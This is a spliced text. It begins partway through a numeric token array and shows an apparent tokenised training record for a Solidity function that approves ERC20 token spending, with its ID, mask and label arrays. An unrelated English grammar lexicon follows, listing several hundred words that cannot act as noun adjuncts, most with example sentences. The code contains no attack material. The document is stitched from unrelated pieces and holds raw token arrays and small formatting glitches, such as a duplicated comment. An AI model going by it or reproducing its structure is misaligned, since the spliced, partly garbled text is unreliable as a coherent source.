1355, 18, 266, 2913, 758, 23602, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/97/0x95ebD565D0c6EbF8A28FC9A36E90B8655799f3e2/sources/project_/contracts/Cairofinance.sol
Reset to 0 Re-approve
function _approveTokenIfNeeded(address _approveTo , address _token, uint256 _swapAmountIn) private { if (IERC20Upgradeable(_token).allowance(address(this), _approveTo) < _swapAmountIn) { IERC20Upgradeable(_token).safeApprove(_approveTo, 0); IERC20Upgradeable(_token).safeApprove(_approveTo, MAX_INT); } }
5,044,744
[ 1, 7013, 358, 374, 868, 17, 12908, 537, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 445, 389, 12908, 537, 1345, 18299, 12, 2867, 389, 12908, 537, 774, 269, 1758, 389, 2316, 16, 2254, 5034, 389, 22270, 6275, 382, 13, 203, 3639, 3238, 203, 565, 288, 203, 3639, 309, 261, 45, 654, 39, 3462, 10784, 429, 24899, 2316, 2934, 5965, 1359, 12, 2867, 12, 2211, 3631, 389, 12908, 537, 774, 13, 411, 389, 22270, 6275, 382, 13, 288, 203, 5411, 467, 654, 39, 3462, 10784, 429, 24899, 2316, 2934, 4626, 12053, 537, 24899, 12908, 537, 774, 16, 374, 1769, 203, 5411, 467, 654, 39, 3462, 10784, 429, 24899, 2316, 2934, 4626, 12053, 537, 24899, 12908, 537, 774, 16, 4552, 67, 3217, 1769, 203, 3639, 289, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// CD->09.11.2015 wordentry_set CannotBeNounAdjunct= { eng_noun:passing{}, // The zing of the passing bullet. eng_noun:how{}, eng_noun:why{}, eng_noun:where{}, eng_noun:what{}, // What units make sense? eng_noun:fighting{}, eng_noun:working{}, eng_noun:Belgian{}, eng_noun:sinking{}, // With a sinking heart eng_noun:rising{}, // A rising market. eng_noun:not{}, eng_noun:domestic{}, eng_noun:open{}, eng_noun:two{}, eng_noun:three{}, eng_noun:four{}, eng_noun:five{}, eng_noun:six{}, eng_noun:eight{}, eng_noun:night{}, eng_noun:ten{}, eng_noun:married{}, eng_noun:nominal{}, eng_noun:different{}, eng_noun:singing{}, // Listen to that singing bird eng_noun:calico{}, // A calico cat. eng_noun:caloric{}, // The caloric content of foods. eng_noun:deep{}, // The canicular heat of the Deep South. eng_noun:carpetbag{}, // A carpetbag government. eng_noun:cereal{}, // A cereal beverage. eng_noun:municipal{}, // A municipal park. eng_noun:clerical{}, // Clerical work. eng_noun:Constitutional{}, // Constitutional walk. eng_noun:military{}, // Military law eng_noun:nominative{}, // Nominative noun endings eng_noun:numeral{}, // A numeral adjective. eng_noun:oral{}, // An oral vaccine. eng_noun:vocal{}, // A vocal assembly. eng_noun:verbal{}, // A verbal protest. eng_noun:blank{}, // A blank stare. eng_noun:comparable{}, // Pianists of comparable ability. eng_noun:summary{}, // A summary formulation of a wide-ranging subject. eng_noun:undecided{}, // Undecided voters eng_noun:absolute{}, // Absolute freedom eng_noun:rank{}, // A rank outsider. eng_noun:total{}, // A total disaster. eng_noun:incomplete{}, // An incomplete forward pass. eng_noun:half{}, // She gave me a half smile. eng_noun:partial{}, // A partial monopoly. eng_noun:comprehensive{}, // A comprehensive survey. eng_noun:broad{}, // An invention with broad applications. eng_noun:cosmopolitan{}, // An issue of cosmopolitan import. eng_noun:universal{}, // Universal experience. eng_noun:plenary{}, // A plenary session of the legislature. eng_noun:super{}, // A super experiment. eng_noun:thick{}, // Thick hair eng_noun:crisp{}, // A crisp retort. eng_noun:cryptic{}, // A cryptic note. eng_noun:determinate{}, // A determinate answer to the problem. eng_noun:conditional{}, // Conditional acceptance of the terms. eng_noun:provisional{}, // A provisional government. eng_noun:blunt{}, // The blunt truth. eng_noun:crude{}, // The crude facts. eng_noun:identical{}, // Identical triangles eng_noun:extreme{}, // Egality represents an extreme leveling of society. eng_noun:national{}, // We support the armed services in the name of national security. eng_noun:class{}, // National independence takes priority over class struggle. eng_noun:connective{}, // Connective tissue in animals. eng_noun:invincible{}, // Her invincible spirit. eng_noun:votive{}, // Votive prayers. eng_noun:Contradictory{}, // Contradictory attributes of unjust justice and loving vindictiveness eng_noun:controversial{}, // A controversial decision on affirmative action. eng_noun:spectacular{}, // A spectacular rise in prices. eng_noun:constant{}, // A constant lover. eng_noun:free{}, // A staunch defender of free speech. eng_noun:creative{}, // Creative work. eng_noun:formative{}, // A formative experience. eng_noun:affirmative{}, // A controversial decision on affirmative action. eng_noun:back{}, // The back hall is an inconvenient place for the telephone. eng_noun:local{}, // Local customs eng_noun:legal{}, // The legal profession eng_noun:Judicial{}, // Judicial system eng_noun:illative{}, // The illative faculty of the mind. eng_noun:incendiary{}, // An incendiary fire eng_noun:imperial{}, eng_noun:British{}, // The imperial gallon was standardized legally throughout the British Empire eng_noun:humanist{}, // The humanist belief in continuous emergent evolution. eng_noun:horary{}, // The horary cycle eng_noun:home{}, // My home town eng_noun:graphic{}, // A graphic presentation of the data eng_noun:generic{}, // The generic name eng_noun:existentialist{}, // The existentialist character of his ideas eng_noun:fishy{}, // The soup had a fishy smell. eng_noun:Byzantine{}, // Byzantine monks eng_noun:Occipital{}, // Occipital bone eng_noun:Angular{}, // Angular momentum eng_noun:Educational{}, // Educational psychology eng_noun:Developmental{}, // Developmental psychology eng_noun:Epileptic{}, // Epileptic seizure eng_noun:Transdermal{}, // Transdermal estrogen eng_noun:sectional{}, // A sectional view eng_noun:African{}, // African languages{}, // African languages eng_noun:Anglican{}, // An Anglican bishop eng_noun:Christian{}, // Christian rites eng_noun:Dutch{}, // Dutch painting eng_noun:Danish{}, // Danish furniture eng_noun:Norwegian{}, // Norwegian herring eng_noun:Swedish{}, // Swedish punch eng_noun:Finnish{}, // Finnish architecture eng_noun:Austrian{}, // Austrian music eng_noun:Mormon{}, // Mormon leaders eng_noun:Methodist{}, // Methodist theology eng_noun:Lutheran{}, // Lutheran doctrines eng_noun:Bavarian{}, // Bavarian beer eng_noun:Cuban{}, // Cuban rum eng_noun:Salvadoran{}, // Salvadoran coffee eng_noun:Asian{}, // Asian countries eng_noun:European{}, // European Community eng_noun:Korean{}, // Korean handicrafts eng_noun:Colombian{}, // Colombian coffee eng_noun:Argentinian{}, // Argentinian tango eng_noun:Venezuelan{}, // Venezuelan oil eng_noun:Panamanian{}, // Panamanian economy eng_noun:Ecuadorian{}, // Ecuadorian folklore eng_noun:Peruvian{}, // Peruvian artifacts eng_noun:Chilean{}, // Chilean volcanoes eng_noun:Tibetan{}, // Tibetan monks eng_noun:Paradigmatic{}, // Paradigmatic learning eng_noun:Japanese{}, // Japanese cars eng_noun:Chinese{}, // Chinese food eng_noun:Slovenian{}, // Slovenian independence eng_noun:Croatian{}, // Croatian villages eng_noun:Protestant{}, // A Protestant denomination eng_noun:physical{}, // A study of the physical properties of atomic particles eng_noun:street{}, // Liverpudlian street urchins eng_noun:Haitian{}, // Haitian shantytowns eng_noun:Guatemalan{}, // Guatemalan coffee eng_noun:Gothic{}, // Gothic migrations eng_noun:Gabonese{}, // Gabonese hills eng_noun:Franciscan{}, // Franciscan monks eng_noun:Ethiopian{}, // Ethiopian immigrants eng_noun:Empiric{}, // Empiric treatment eng_noun:Dominican{}, // Dominican monks eng_noun:creole{}, // creole cooking eng_noun:Malawian{}, // Malawian hills eng_noun:Macedonian{}, // Macedonian hills eng_noun:Liverpudlian{}, // Liverpudlian streets eng_noun:Lilliputian{}, // The Lilliputian population eng_noun:Libyan{}, // The Libyan desert eng_noun:inevitable{}, // The inevitable result. eng_noun:metal{}, // The steady dripping of water rusted the metal stopper in the sink. eng_noun:motive{}, // A motive force. eng_noun:incurable{}, // An incurable optimist. eng_noun:static{}, // A static population. eng_noun:chemical{}, // A reversible chemical reaction. eng_noun:social{}, // A rise in crime symptomatic of social breakdown. eng_noun:rash{}, // A rash symptomatic of scarlet fever. eng_noun:marginal{}, // The marginal strip of beach. eng_noun:certifiable{}, // A certifiable fact. eng_noun:third{}, // The third generation of computers. eng_noun:regular{}, // The regular sequence of the seasons. eng_noun:incandescent{}, // An incandescent bulb. eng_noun:delicate{}, // His delicate health. eng_noun:human{}, // The human condition. eng_noun:family{}, // He charted his family tree genealogically. eng_noun:metric{}, // The metric system eng_noun:special{}, // a special antenna for public relations eng_noun:public{}, // a special antenna for public relations eng_noun:living{}, // The relatedness of all living things. eng_noun:animal{}, // The animal constituent of plankton. eng_noun:proverbial{}, // The proverbial grasshopper eng_noun:capitalist{}, // A capitalist nation eng_noun:Utopian{}, // A Utopian novel eng_noun:ceramic{}, // A ceramic dish eng_noun:industrial{}, // The industrial base of Japan eng_noun:divine{}, // a sort of divine madness eng_noun:reading{}, // A diagnostic reading test eng_noun:diagnostic{}, // A diagnostic reading test eng_noun:citrus{}, // The citrus production of Florida eng_noun:Cameroonian{}, // The Cameroonian capital eng_noun:Fijian{}, // The Fijian population eng_noun:feudatory{}, // A feudatory relationship eng_noun:Djiboutian{}, // A Djiboutian storyteller eng_noun:modern{}, // Economics in its modern disciplinary sense eng_noun:Mongolian{}, // The Mongolian embassy eng_noun:indicative{}, // Indicative mood eng_noun:Pre-Raphaelite{}, // The Pre-Raphaelite painters eng_noun:polynomial{}, // A polynomial expression eng_noun:Philharmonic{}, // Philharmonic players eng_noun:Paralytic{}, // Paralytic symptoms eng_noun:ruling{}, // The Qatari ruling family eng_noun:rapid{}, // His rapid manner of talking eng_noun:pharmaceutical{}, // The pharmaceutical industry eng_noun:Partitive{}, // Partitive tendencies in education eng_noun:Participial{}, // Participial inflections eng_noun:Parthian{}, // Parthian archeology eng_noun:Papuan{}, // Papuan vowels eng_noun:native{}, // Papuan native crafts eng_noun:Reversionary{}, // Reversionary interest eng_noun:folk{}, // Romany folk songs eng_noun:gypsy{}, // A Gypsy fortune-teller eng_noun:Rwandan{}, // Rwandan mountains eng_noun:shakedown{}, eng_noun:Pyrrhic{}, // A Pyrrhic victory eng_noun:Quadratic{}, // Quadratic equation eng_noun:Antiphonal{}, // Antiphonal laughter eng_noun:Processional{}, // Processional music eng_noun:procedural{}, // A procedural violation eng_noun:Seychellois{}, // Seychellois fishermen eng_noun:Senegalese{}, // Senegalese villages eng_noun:regional{}, // Regional flora eng_noun:Singaporean{}, // Singaporean rubber eng_noun:Siberian{}, // Siberian coal miners eng_noun:Zairean{}, // Zairean elections eng_noun:Yemeni{}, // Yemeni mountains eng_noun:wheaten{}, // wheaten bread eng_noun:Welsh{}, // The Welsh coast eng_noun:Vietnamese{}, // Vietnamese boat people eng_noun:vestal{}, // Vestal virgin eng_noun:tutorial{}, // Tutorial sessions eng_noun:Trinidadian{}, // Trinidadian rum eng_noun:Syphilitic{}, // Syphilitic symptoms eng_noun:tertian{}, // Tertian fever eng_noun:textile{}, // Textile research eng_noun:fresh{}, // Crispness of fresh lettuce eng_noun:spastic{}, // A spastic colon eng_noun:mutual{}, // The mutual adhesiveness of cells eng_noun:scalar{}, // Scalar quantity eng_noun:acrocentric{}, // An acrocentric chromosome eng_noun:metacentric{}, // A metacentric chromosome eng_noun:communist{}, // Communist Party eng_noun:Hypoglycemic{}, // Hypoglycemic agents eng_noun:Hypodermic{}, // Hypodermic needle eng_noun:Serbian{}, // the three possible classes of Serbian nouns eng_noun:continental{}, // The continental divide eng_noun:diatomic{}, // A diatomic molecule eng_noun:genital{}, // Genital herpes eng_noun:mural{}, // Mural painting eng_noun:frontal{}, // Frontal rainfall eng_noun:Juvenile{}, // Juvenile diabetes eng_noun:Ecclesiastic{}, // Ecclesiastic history eng_noun:Antediluvian{}, // Antediluvian man eng_noun:floral{}, // Floral organs eng_noun:professional{}, // Professional training eng_noun:ocular{}, // An ocular organ eng_noun:gnostic{}, // Gnostic writings eng_noun:Lacteal{}, // Lacteal fluids eng_noun:Funicular{}, // Funicular railway eng_noun:fiducial{}, // A fiducial point eng_noun:fiduciary{}, // A fiduciary contract eng_noun:Mauritanian{}, // Mauritanian tropical fish eng_noun:Machiavellian{}, // Machiavellian thinking eng_noun:Liberian{}, // Liberian ship owners eng_noun:Latin{}, // Latin verb conjugations eng_noun:Iranian{}, // Iranian security police eng_noun:Indo-European{}, // Indo-European migrations eng_noun:Exponential{}, // Exponential growth eng_noun:Italian{}, // Italian cooking eng_noun:German{}, // German philosophers eng_noun:Anglo-Saxon{}, // poetry eng_noun:Laryngeal{}, // Laryngeal infection eng_noun:viral{}, // Viral infection eng_noun:commercial{}, // Commercial law eng_noun:molar{}, // molar weight eng_noun:iambic{}, // iambic pentameter eng_noun:jugular{}, // jugular vein eng_noun:vocative{}, // Vocative verb endings eng_noun:subjunctive{}, // Subjunctive verb endings eng_noun:optative{}, // Optative verb endings eng_noun:facial{}, // A facial massage eng_noun:intravenous{}, // An intravenous inflammation eng_noun:rental{}, // A rental car eng_noun:ritual{}, // A ritual dance of Haiti eng_noun:personal{}, // personal verb endings eng_noun:pastoral{}, // a pastoral letter eng_noun:lyric{}, // the lyric stage eng_noun:hematic{}, // A hematic cyst eng_noun:wide{}, // That team needs a decent wide player eng_noun:sylvan{}, // A shady sylvan glade eng_noun:hostile{}, // Freeze the assets of this hostile government. eng_noun:seven{}, // The prisoner's resistance weakened after seven days. eng_noun:mnemonic{}, // the mnemonic device eng_noun:woolen{}, // a woolen sweater eng_noun:Akkadian{}, // Let's eliminate the course on Akkadian hieroglyphics. eng_noun:octal{}, // An octal digit. eng_noun:audile{}, // An audile person. eng_noun:acoustic{}, // Acoustic properties of a hall eng_noun:Mercurial{}, // The Mercurial canals. eng_noun:musical{}, // A musical evening eng_noun:twelve{}, // Here is a hen with twelve chickens eng_noun:wild{}, // I see neither human nor wild animal eng_noun:arithmetic{}, // Some type of arithmetic computations produces an invalid result that exceeds the range of the data type involved in the computation eng_noun:eleven{}, // The bell at eleven o'clock tells us that lesson is finished eng_noun:nine{}, // Richard slept until nine o'clock eng_noun:Disciplinary{}, // Disciplinary problems in the classroom eng_noun:tatty{}, // An old house with dirty windows and tatty curtains eng_noun:Antipodal{}, // Antipodal regions of the earth eng_noun:reproductive{}, // Urbanization in Spain is distinctly correlated with a fall in reproductive rate. eng_noun:luxury{}, // Sales of luxury cars dropped markedly. eng_noun:several{}, // He gave liberally to several charities. eng_noun:medical{}, // Amazingly, he finished medical school in three years. eng_noun:all{}, // Visit us by all means. eng_noun:prepositional{}, // The prepositional phrase here is used adverbially. eng_noun:genitive{}, // The genitive noun is used attributively. eng_noun:natural{}, // A natural conclusion follows thence. eng_noun:global{}, // Greenspan's fraud: how two decades of his policies have undermined the global economy eng_noun:Georgian{}, // The Georgian capital is Tbilisi. eng_noun:final{}, // The final runners were far behind. eng_noun:ninth{}, // The ninth century was the spiritually freest period. eng_noun:iron{}, // That iron gate is made of iron that came from England eng_noun:stone{}, // The moss undergrew the stone patio. eng_noun:enemy{}, // The landscape was deforested by the enemy attacks. eng_noun:remote{}, // The remote areas of the country were gradually built up. eng_noun:upper{}, // This exercise will strengthen your upper body. eng_noun:following{}, // Develop the function in the following form. eng_noun:stock{}, // The stock market fluctuates. eng_noun:sudden{}, // The sudden storm immobilized the traffic. eng_noun:entire{}, // The bureaucracy paralyzes the entire operation. eng_noun:political{}, // Reform a political system. eng_noun:extra{}, // Add some extra plates to the dinner table. eng_noun:plastic{}, // The temple was garishly decorated with bright plastic flowers. eng_noun:bright{}, // The temple was garishly decorated with bright plastic flowers. eng_noun:basic{}, // He light-heartedly overlooks some of the basic facts of life. eng_noun:black{}, // She danced the part of the Black Swan very lyrically. eng_noun:main{}, // He drove down the main road eng_noun:next{}, // The boy in the next desk borrowed my pencil eng_noun:first{}, // The first job is already done. eng_noun:sweet{}, // These small apples have a SWEET taste eng_noun:and{}, // the hammer AND sickle eng_noun:will{}, // The boy WILL play with another dog eng_noun:best{}, // He is my best friend eng_noun:good{}, // He is a good player eng_noun:big{}, // The big dog chased me eng_noun:simple{}, eng_noun:invalid{}, // an invalid result exceeds the range of the data type involved in the computation eng_noun:sharp{}, // A sharp knife cuts cleanly. eng_noun:early{}, // An early riser gets up early. eng_noun:straight{}, // Run in a straight line. eng_noun:whole{}, // I ate a whole fish eng_noun:new{}, // Have you seen my new bicycle? eng_noun:second{}, // We were in the second class last year eng_noun:small{}, // The small boy rings the bell eng_noun:great{}, // The ship sank in the great storm eng_noun:heavy{}, // Henry can lift that heavy box eng_noun:past{}, // Don't sentimentalize the past events. eng_noun:an{}, // We have an hour to burn. eng_noun:running{}, // The running horse galloped down the road eng_noun:one{}, eng_noun:no{}, eng_noun:yesterday{}, // I did the work yesterday eng_noun:English{}, // He has an English book eng_noun:Russian{}, eng_noun:French{}, // She spoke English with a French accent eng_noun:Greek{}, // Ultimately, I have been studying Greek at evening classes. eng_noun:particular{}, // Let's abstract away from this particular example. eng_noun:over{}, // Let me think that over. eng_noun:each{}, // Each partition acts like a separate hard drive eng_noun:separate{}, // Each partition acts like a separate hard drive eng_noun:hard{}, // Each partition acts like a separate hard drive eng_noun:high{}, // The headmaster's desk stood on a high platform eng_noun:right{}, // We didn't know the right time eng_noun:white{}, // I see the big white cat eng_noun:stupid{}, // a very stupid dog eng_noun:most{}, // Most flare stars are dim red dwarfs eng_noun:out{}, // Wrap the baby before taking her out. eng_noun:at{}, eng_noun:clean{}, // The thieves made a clean getaway. eng_noun:fine{}, // Don't sign a contract without reading the fine print. eng_noun:wet{}, // The wet road was shining sleekly. eng_noun:temporary{}, // The temporary camps were inadequately equipped. eng_noun:single{}, // A single chicken was scratching forlornly in the yard. eng_noun:thin{}, // The dress hung shapelessly on her thin body. eng_noun:kind{}, // I must regretfully decline your kind invitation. eng_noun:setting{}, // They traveled westward toward the setting sun. eng_noun:former{}, // He treats his former wife civilly. eng_noun:blue{}, // Birds flew zigzag across the blue sky. eng_noun:relative{}, // This relative clause is used restrictively. eng_noun:cold{}, eng_noun:common{}, // A common remedy is uncommonly difficult to find. eng_noun:red{}, // I have two RED apples eng_noun:lightning{}, eng_noun:hanging{}, eng_noun:cunning{}, eng_noun:dancing{}, eng_noun:foreboding{}, eng_noun:bearing{}, eng_noun:listing{}, eng_noun:standing{}, eng_noun:knowing{}, eng_noun:ongoing{}, eng_noun:fitting{}, eng_noun:mounting{}, eng_noun:ranking{}, eng_noun:thieving{}, eng_noun:cooking{}, eng_noun:pleading{}, eng_noun:travelling{}, eng_noun:testing{}, eng_noun:nursing{}, eng_noun:upbraiding{}, eng_noun:blinding{}, eng_noun:trotting{}, eng_noun:greening{}, eng_noun:whacking{}, eng_noun:vining{}, eng_noun:grudging{}, eng_noun:upset{}, eng_noun:evening{}, eng_noun:brown{}, eng_noun:adjective{}, eng_noun:adjectival{}, eng_noun:Fabian{}, eng_noun:abbreviate{}, eng_noun:abject{}, eng_noun:abluent{}, eng_noun:abortive{}, eng_noun:above{}, eng_noun:absolutist{}, eng_noun:abstractionist{}, eng_noun:Accadian{}, eng_noun:acceptant{}, eng_noun:Achean{}, eng_noun:orange{}, eng_noun:singular{}, eng_noun:andante{}, eng_noun:urban{}, eng_noun:mobile{}, eng_noun:wireless{}, eng_noun:epidemic{}, eng_noun:welcome{}, eng_noun:automatic{}, eng_noun:abstergent{}, eng_noun:absurd{}, eng_noun:general{}, eng_noun:Yiddish{}, eng_noun:Indian{}, eng_noun:Jacobian{}, eng_noun:minuscule{}, eng_noun:Slovene{}, eng_noun:gold{}, eng_noun:magenta{}, eng_noun:dual{}, eng_noun:weekend{}, eng_noun:counterfeit{}, eng_noun:parallel{}, eng_noun:pi{}, eng_noun:X - ray{}, eng_noun:antecedent{}, eng_noun:imperative{}, eng_noun:irregular{}, eng_noun:Castilian{}, eng_noun:pommy{}, eng_noun:quadrilateral{}, eng_noun:northeast{}, eng_noun:honey{}, eng_noun:male{}, eng_noun:anterior{}, eng_noun:collateral{}, eng_noun:weekly{}, eng_noun:quarterly{}, eng_noun:fuchsia{}, eng_noun:khaki{}, eng_noun:coral{}, eng_noun:lavender{}, eng_noun:olive{}, eng_noun:sienna{}, eng_noun:teal{}, eng_noun:taupe{}, eng_noun:amber{}, eng_noun:grape{}, eng_noun:avocado{}, eng_noun:auburn{}, eng_noun:buff{}, eng_noun:overweight{}, eng_noun:Melburnian{}, eng_noun:polycystine{}, eng_noun:canary{}, eng_noun:slim{}, eng_noun:Romanian{}, eng_noun:transgender{}, eng_noun:Muslim{}, eng_noun:blond{}, eng_noun:blonde{}, eng_noun:archaic{}, eng_noun:ideal{}, eng_noun:then{}, eng_noun:diminutive{}, eng_noun:ephemeral{}, eng_noun:stiff{}, eng_noun:fricative{}, eng_noun:cuckoo{}, eng_noun:short{}, eng_noun:salt{}, eng_noun:rough{}, eng_noun:sand{}, eng_noun:flame{}, eng_noun:horizontal{}, eng_noun:totalitarian{}, eng_noun:selenoid{}, eng_noun:flash{}, eng_noun:Ukrainian{}, eng_noun:objective{}, eng_noun:spoony{}, eng_noun:transsexual{}, eng_noun:upcast{}, eng_noun:incorrigible{}, eng_noun:reprehensible{}, eng_noun:Angolan{}, eng_noun:instrumental{}, eng_noun:maslin{}, eng_noun:dank{}, eng_noun:Faeroese{}, eng_noun:Hispano{}, eng_noun:acataleptic{}, eng_noun:alert{}, eng_noun:eclectic{}, eng_noun:precedent{}, eng_noun:intuitive{}, eng_noun:essential{}, eng_noun:Australian{}, eng_noun:quorate{}, eng_noun:hangdog{}, eng_noun:magic{}, eng_noun:due{}, eng_noun:alpha{}, eng_noun:beta{}, eng_noun:crazy{}, eng_noun:premier{}, eng_noun:sulfur{}, eng_noun:invertebrate{}, eng_noun:extraterrestrial{}, eng_noun:republican{}, eng_noun:neurotic{}, eng_noun:quick{}, eng_noun:Transylvanian{}, eng_noun:Tasmanian{}, eng_noun:Boolean{}, eng_noun:individual{}, eng_noun:Muscovite{}, eng_noun:psycho{}, eng_noun:ordinary{}, eng_noun:brash{}, eng_noun:maximum{}, eng_noun:micro{}, eng_noun:acerate{}, eng_noun:vegan{}, eng_noun:Saturnian{}, eng_noun:libertarian{}, eng_noun:characteristic{}, eng_noun:center{}, eng_noun:aqua{}, eng_noun:nonflammable{}, eng_noun:yearly{}, eng_noun:unknown{}, eng_noun:sandwich{}, eng_noun:hundred - first{}, eng_noun:hundred{}, eng_noun:Aruban{}, eng_noun:Azerbaijani{}, eng_noun:Bangladeshi{}, eng_noun:Belizean{}, eng_noun:Beninese{}, eng_noun:barbarian{}, eng_noun:Nigerien{}, eng_noun:Mauritian{}, eng_noun:Cambodian{}, eng_noun:Iraqi{}, eng_noun:Zimbabwean{}, eng_noun:Ugandan{}, eng_noun:Tuvaluan{}, eng_noun:Caymanian{}, eng_noun:Maldivian{}, eng_noun:Qatari{}, eng_noun:Samoan{}, eng_noun:Congolese{}, eng_noun:Eritrean{}, eng_noun:Nepalese{}, eng_noun:Jordanian{}, eng_noun:Kuwaiti{}, eng_noun:Malagasy{}, eng_noun:Corinthian{}, eng_noun:arcadian{}, eng_noun:Boeotian{}, eng_noun:Belizian{}, eng_noun:Kiribatian{}, eng_noun:Tokelauan{}, eng_noun:megalopolitan{}, eng_noun:trademark{}, eng_noun:Somalian{}, eng_noun:underline{}, eng_noun:zany{}, eng_noun:standout{}, eng_noun:Calabrian{}, eng_noun:monastic{}, eng_noun:land{}, eng_noun:Rosicrucian{}, eng_noun:virtual{}, eng_noun:retail{}, eng_noun:random{}, eng_noun:simian{}, eng_noun:roman{}, eng_noun:cosy{}, eng_noun:evergreen{}, eng_noun:puritan{}, eng_noun:nasty{}, eng_noun:blueberry{}, eng_noun:ersatz{}, eng_noun:nude{}, eng_noun:primavera{}, eng_noun:Marshallese{}, eng_noun:bimonthly{}, eng_noun:biweekly{}, eng_noun:decennial{}, eng_noun:bicentennial{}, eng_noun:trimillennial{}, eng_noun:killer{}, eng_noun:medium{}, eng_noun:homo{}, eng_noun:top{}, eng_noun:nudist{}, eng_noun:derogatory{}, eng_noun:wack{}, eng_noun:bulk{}, eng_noun:draft{}, eng_noun:semi - weekly{}, eng_noun:independent{}, eng_noun:alternative{}, eng_noun:sexist{}, eng_noun:ovine{}, eng_noun:opposite{}, eng_noun:sleepy{}, eng_noun:dependent{}, eng_noun:token{}, eng_noun:leviathan{}, eng_noun:dandy{}, eng_noun:pejorative{}, eng_noun:moccasin{}, eng_noun:active{}, eng_noun:actual{}, eng_noun:adhesive{}, eng_noun:adjacent{}, eng_noun:heterosexual{}, eng_noun:Buddhist{}, eng_noun:fils{}, eng_noun:vandal{}, eng_noun:ajar{}, eng_noun:sham{}, eng_noun:KIA{}, eng_noun:alternate{}, eng_noun:glutton{}, eng_noun:Asturian{}, eng_noun:intensive{}, eng_noun:amyl{}, eng_noun:anarchist{}, eng_noun:treble{}, eng_noun:ancient{}, eng_noun:Romany{}, eng_noun:Scottish{}, eng_noun:outside{}, eng_noun:agnostic{}, eng_noun:interstitial{}, eng_noun:plenty{}, eng_noun:functional{}, eng_noun:sesquipedalian{}, eng_noun:AWOL{}, eng_noun:episcopal{}, eng_noun:episcopalian{}, eng_noun:crescent{}, eng_noun:lunate{}, eng_noun:Thatcherite{}, eng_noun:serial{}, eng_noun:pedestrian{}, eng_noun:submarine{}, eng_noun:jolly{}, eng_noun:period{}, eng_noun:narrative{}, eng_noun:lowercase{}, eng_noun:fortnightly{}, eng_noun:racist{}, eng_noun:maglev{}, eng_noun:patient{}, eng_noun:stoic{}, eng_noun:print{}, eng_noun:radical{}, eng_noun:electrical{}, eng_noun:beef{}, eng_noun:supplicant{}, eng_noun:utmost{}, eng_noun:sour{}, eng_noun:moral{}, eng_noun:subversive{}, eng_noun:okay{}, eng_noun:hexadecimal{}, eng_noun:brave{}, eng_noun:incipient{}, eng_noun:Alsatian{}, eng_noun:damn{}, eng_noun:junior{}, eng_noun:Sikh{}, eng_noun:antique{}, eng_noun:med{}, eng_noun:possessive{}, eng_noun:kiasu{}, eng_noun:calm{}, eng_noun:Slovakian{}, eng_noun:horsey{}, eng_noun:tatterdemalion{}, eng_noun:Belarussian{}, eng_noun:Faroese{}, eng_noun:scotch{}, eng_noun:elective{}, eng_noun:select{}, eng_noun:cult{}, eng_noun:mercenary{}, eng_noun:vast{}, eng_noun:hardcore{}, eng_noun:eccentric{}, eng_noun:coordinate{}, eng_noun:conservative{}, eng_noun:dope{}, eng_noun:nondescript{}, eng_noun:Brobdingnagian{}, eng_noun:occidental{}, eng_noun:octuple{}, eng_noun:impossible{}, eng_noun:vanilla{}, eng_noun:bosom{}, eng_noun:azurine{}, eng_noun:axillar{}, eng_noun:awk{}, eng_noun:Avesta{}, eng_noun:savage{}, eng_noun:camp{}, eng_noun:icebox{}, eng_noun:alienate{}, eng_noun:Braille{}, eng_noun:medieval{}, eng_noun:yew{}, eng_noun:bilabial{}, eng_noun:lobster{}, eng_noun:scant{}, eng_noun:deaf{}, eng_noun:batty{}, eng_noun:artist{}, eng_noun:waterproof{}, eng_noun:technical{}, eng_noun:phosphorescent{}, eng_noun:googly{}, eng_noun:plosive{}, eng_noun:swish{}, eng_noun:Karelian{}, eng_noun:loden{}, eng_noun:clambake{}, eng_noun:velar{}, eng_noun:palatal{}, eng_noun:concomitant{}, eng_noun:leeward{}, eng_noun:plenipotentiary{}, eng_noun:virgin{}, eng_noun:adjutant{}, 